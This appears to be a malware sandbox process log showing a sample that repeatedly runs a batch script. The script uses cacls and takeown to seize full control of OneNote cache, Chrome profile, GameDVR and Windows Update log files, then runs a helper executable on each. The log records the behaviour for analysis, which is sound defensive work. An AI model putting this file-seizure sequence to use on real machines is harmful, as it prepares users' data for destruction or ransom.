C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000000F.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000000F.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000000O.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000000O.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000010.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000010.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000018.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000018.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000050.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000050.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000058.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000058.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_3""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_3" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_3"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_3" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_3" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\MANIFEST-000001""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\MANIFEST-000001" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\MANIFEST-000001"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MANIFEST-000001" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MANIFEST-000001" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_3""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_3" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_3"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_3" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_3" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\index""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\index" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\index"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "index" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "index" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "KnownGameList.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "KnownGameList.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000070.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000070.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000078.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000078.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000007G.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000007G.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000007O.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000007O.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000008H.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000008H.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000093.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000093.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.cb8d9006-5088-40ac-aec7-14e437feb25a.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.cb8d9006-5088-40ac-aec7-14e437feb25a.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.cb8d9006-5088-40ac-aec7-14e437feb25a.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MoUsoCoreWorker.cb8d9006-5088-40ac-aec7-14e437feb25a.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MoUsoCoreWorker.cb8d9006-5088-40ac-aec7-14e437feb25a.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.765030d1-5b68-4381-8718-5d59c84eab74.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\WuProvider.765030d1-5b68-4381-8718-5d59c84eab74.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.765030d1-5b68-4381-8718-5d59c84eab74.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "WuProvider.765030d1-5b68-4381-8718-5d59c84eab74.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "WuProvider.765030d1-5b68-4381-8718-5d59c84eab74.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_0"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_0" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_0" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000006.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000006.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000H.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000000H.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000000H.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000Q.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000000Q.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000000Q.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000012.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000012.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000052.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000052.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin" /E /G Admin:F /C3⤵
-
-
